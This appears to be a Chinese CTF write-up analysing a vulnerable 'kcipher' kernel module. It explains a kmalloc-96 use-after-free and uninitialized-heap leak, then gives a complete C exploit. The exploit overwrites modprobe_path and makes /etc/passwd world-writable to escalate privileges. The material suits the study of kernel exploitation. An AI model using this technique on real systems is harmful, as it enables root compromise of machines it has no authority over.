前言
本次仅仅是通过 modprobe_path
拿 flag
,但是 modprobe_path
是可以提权的(:只需要把 /etc/passwd
的权限修改为 777
即可
这里存在 kmalloc-96
大小的 UAF/Double free
所以其实利用方式挺多的~~~但是这里就不深究了
题目分析
- 内核版本
6.5.0-rc1
,但是没有开启cg
隔离 kalsr
开启,没有开启smap/smep
,这可能使得利用变得简单slub
分配器,没有开启CONFIG_SLAB_FREELIST_HARDENED
和CONFIG_SLAB_FREELIST_RANDOM
,这使得堆风水更容易
这里仅仅说一些对漏洞利用有用的函数
device_ioctl
会创建一个匿名 fd
,并分配一个大小为 96
字节的堆块作为该 fd
的 private_data
域:
__int64 __fastcall device_ioctl(__int64 a1, int cmd, __int64 arg3)
{
struct node *private_data; // rax
struct node *pprivate_data; // rbx
int fd; // r13d
__int64 res; // r12
__int64 enc_idx; // rax
if ( cmd != 0xEDBEEF00 )
return -22LL;
private_data = kmalloc_trace(kmalloc_caches[1], 0x400DC0LL, 96LL);
pprivate_data = private_data;
if ( !private_data )
return -12LL;
private_data->lock = 0;
fd = anon_inode_getfd("kcipher-buf", &kcipher_cipher_fops, private_data, 2LL);
if ( fd >= 0 )
{
res = copy_from_user(pprivate_data, arg3, 8LL);
if ( !res ) // <=== 【1】
{
enc_idx = pprivate_data->enc_idx;
if ( enc_idx <= 3 ) // <=== 【2】
{
strncpy(pprivate_data->func_name, ciphers[enc_idx], 64uLL);
return fd;
}
res = -22LL;
}
kfree(pprivate_data); // UAF??? 这里将 private_data 释放了,但是 file 结构体中仍然保存着其引用
return res; // 这里虽然没有返回 fd,但是可以根据打开的文件数量进行猜测
}
kfree(pprivate_data);
return fd;
}
但是这里存在一个问题:当 【1】
或 【2】
处执行失败时,会释放掉 private_data
,但是并没有把 file->private_data
置空,所以如果在其他地方使用到了 file->private_data
则会导致 UAF
,其中 private_data
维护的数据结构如下:
00000000 node struc ; (sizeof=0x60, mappedto_3)
00000000 enc_idx dd ?
00000004 key db ?
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 data_len dq ?
00000010 data dq ?
00000018 lock dd ?
0000001C func_name db 68 dup(?)
00000060 node ends
对于 kcipher-buf
其对应的函数操作有 cipher_read
、cipher_write
、cipher_release
;先来看看 cipher_write
函数:
__int64 __fastcall cipher_write(__int64 a1, __int64 ubuf, unsigned __int64 len)
{
struct node *private_data; // r15
__int64 v5; // rax
__int64 data; // rdi
__int64 v7; // r13
__int64 kptr; // rax
__int64 v9; // rbx
private_data = *(a1 + 192);
if ( len > 0x1000 )
return -12LL;
v5 = raw_spin_lock_irqsave(&private_data->lock);
data = private_data->data;
v7 = v5;
if ( data )
{
kfree(data);
private_data->data = 0LL;
}
kptr = _kmalloc(len, 0xCC0LL); // GFP_KERNEL
private_data->data = kptr;
if ( !kptr )
{
raw_spin_unlock_irqrestore(&private_data->lock, v7);
return -12LL;
}
private_data->data_len = len;
v9 = strncpy_from_user(kptr, ubuf, len); // 不能复制 \x00
raw_spin_unlock_irqrestore(&private_data->lock, v7);
return v9;
}
cipher_write
主要就是为 file->private_data.data
分配空间,然后写入内容。并且这里每次都会先释放原来的 data
,在分配新的 data
,分配方式为 GFP_KERNEL
,该分配标志不会初始化堆块的内容,而后面复制内容使用的是 strncpy_from_user
,其存在 \x00
截断,所以这里 data
上可能残留一些有用的内容
在来看看 cipher_read
函数:
__int64 __fastcall cipher_read(__int64 a1, __int64 ubuf, unsigned __int64 len)
{
struct node *v3; // r15
__int64 v5; // rax
__int64 v6; // r12
__int64 v7; // rbx
v3 = *(a1 + 192);
v5 = raw_spin_lock_irqsave(&v3->lock);
v6 = v5;
if ( v3->data )
{
do_encode(v3); // 这里可以修改 private_data->data 的内容
if ( len > v3->data_len )
len = v3->data_len;
if ( len > 0x7FFFFFFF )
BUG();
v7 = len - copy_to_user(ubuf, v3->data, len); // 复制加密后的内容到用户空间
raw_spin_unlock_irqrestore(&v3->lock, v6);
}
else
{
v7 = -2LL;
raw_spin_unlock_irqrestore(&v3->lock, v5);
}
return v7;
}
cipher_read
就是读取 file->private_data.data
的内容,但是在读取前会对内容进行加密,这里的加密方式有:
char *ciphers[]
0 rot
1 xor
2 a1z26
3 atbash
而具体是那种加密是根据 file->private_data.idx
决定的,然后这里是逐字节加密,加密的 key
为 file->private_data.key
,具体的加密逻辑在 do_encode
函数中,这里就简单看看 rot/xor
的逻辑吧:
......
if ( enc_idx )
{
for ( i = 0LL; i < private_data->data_len; ++i )
data[i] ^= private_data->key;
}
else
{
for ( j = 0LL; j < private_data->data_len; ++j )
data[j] += private_data->key;
}
......
可以看到就是简单的 +/^
最后来看看 cipher_release
函数:
__int64 __fastcall cipher_release(__int64 a1, __int64 a2)
{
struct node *private_data; // rbx
__int64 data; // rdi
private_data = *(a2 + 192);
data = private_data->data;
if ( data )
kfree(data);
kfree(private_data);
return 0LL;
}
可以看到这里会释放 data
和 private_data
,配合之前 device_ioctl
中的问题,这里是可能导致 Double free
的
总的来说,目前我们有如下漏洞原语:
kmalloc-96
大小的UAF/Double Free
- 堆块未初始化
漏洞利用
题目虽然没有 smap/smep
,但是开启了 kaslr
,所以第一步就是去泄漏相关地址,这里泄漏相关地址主要是利用堆块未初始化漏洞:
- 先堆喷大量
seq_operations [kmalloc-32|GFP_KERNEL_ACCOUNT]
,然后将其全部释放- 此时释放的堆块上残留了相关内核地址
- 然后
cipher_write
为data
分配一个kmalloc-32
大小的堆块,这里使用\x00
截断防止堆块其初始化- 这时
data
上可能残留着内核地址
- 这时
- 然后
cipher_read
读取data
的内容,此时大概率可泄漏内核地址
然后去构造堆块重叠,使得某个 file
的 private_data
与另一个 file
的 private_data.data
重合,具体利用方式如下:
- 正常分配一个
fd1
,其对应的相关结构为:private_data1 [kmalloc-96 chunk1]
- "不正常"分配一个
fd2
,其对应的相关结构为:private_data2 [kmalloc-96 UAF chunk2]
- 为
fd1
分配一个data1 [kmalloc-96]
,此时会拿到chunk2
- 即
fd1
的data1
与fd2
的private_data2
重合 - 此时就可以通过
data1
去伪造private_data2
结构,其中可以伪造data2
为modprobe_path
,然后在cipher_read
时就会修改modprobe_path
的数据
- 即
注意点:这里通过 data1
去伪造 private_data2
要通过两步:
- 因为
cipher_write
写data1
存在\x00
截断,所以这里我们无法伪造一个合法的private_data2
- 但是
cipher_read
读data2
时,会对data2
的数据进行加密,所以我们可以在这里使得伪造的private_data2
合法
比如如果我们想往 data1
中写入 \x00
,我们则可以先写入 \xff
,这时就可以避免 \x00
截断,然后在 cipher_read
中对数据 \x00
进行异或加密 \xff ^ \xff = \x00
,这时我们就成功写入了 \x00
最后的 exp
如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(2);
exit(EXIT_FAILURE);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /root/flag.txt\n/bin/chmod 777 /etc/passwd' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
system("chmod +x /tmp/dummy");
system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("cat /root/flag.txt");
exit(0);
}
struct header {
uint32_t idx;
uint32_t key;
};
void dec(char* buf, int8_t key, int len) {
for (int i = 0; i < len; i++) {
buf[i] -= key;
}
}
struct node {
uint32_t idx;
uint32_t key;
uint64_t len;
uint64_t data;
uint32_t lock;
char name[68];
};
int main(int argc, char** argv, char** envp)
{
bind_core(0);
int fd, cfd;
#define SQE_NUMS 0x30
uint64_t kbase = 0;
uint64_t koffset = 0;
int seq_fd[SQE_NUMS];
char buf[0x1000] = { 0 };
uint64_t modprobe_path = 0xffffffff818a83a0;
struct node* node = (struct node*)buf;
struct header h = { .idx = 0, .key = 2 };
fd = open("/dev/kcipher", O_RDONLY);
if (fd < 0) err_exit("open /dev/kcipher");
cfd = ioctl(fd, 0xEDBEEF00, &h);
if (cfd <= 0) err_exit("create kcipher-buf");
printf("[+] cfd: %d\n", cfd);
for (int i = 0; i < SQE_NUMS; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) err_exit("open /proc/self/stat");
}
for (int i = 0; i < SQE_NUMS; i++) {
close(seq_fd[SQE_NUMS-i-1]);
}
memset(buf, 0, sizeof(buf));
write(cfd, buf, 0x20);
read(cfd, buf, 0x20);
binary_dump("LEAK DATA", buf, 0x20);
kbase = *(uint64_t*)(buf+8) & 0xffffffff;
if ((kbase&0xfff) != 0xa72) err_exit("Leak kbase");
kbase += 0xffffffff81000000ULL - 0x8317ba72ULL;
koffset = kbase - 0xffffffff81000000ULL;
modprobe_path += koffset;
printf("[+] kbase: %#llx\n", kbase);
printf("[+] koffset: %#llx\n", koffset);
printf("[+] modprobe_path: %#llx\n", modprobe_path);
ioctl(fd, 0xEDBEEF00, 0xbeefdead);
/*
// just test
memset(buf, 0, sizeof(buf));
node->idx = 1;
node->key = 1;
node->len = 1;
node->data = modprobe_path;
node->lock = 0;
dec(buf, h.key, 0x60);
binary_dump("ENC DATA", buf, 0x60);
write(cfd, buf, 0x60);
memset(buf, 0, sizeof(buf));
read(cfd, buf, 0x60);
binary_dump("DEC DATA", buf, 0x60);
*/
char m[] = "/sbin/modprobe";
char n[] = "/tmp/x\x00";
for (int i = 0; i < sizeof(n); i++) {
memset(buf, 0, sizeof(buf));
node->idx = 1;
node->key = m[i] ^ n[i];
node->len = 1;
node->data = modprobe_path + i;
node->lock = 0;
dec(buf, h.key, 0x60);
write(cfd, buf, 0x60);
read(cfd, buf, 0x60);
// binary_dump("DEC DATA", buf, 0x60);
read(5, buf, 1);
}
get_flag();
// getchar();
return 0;
}
效果如下: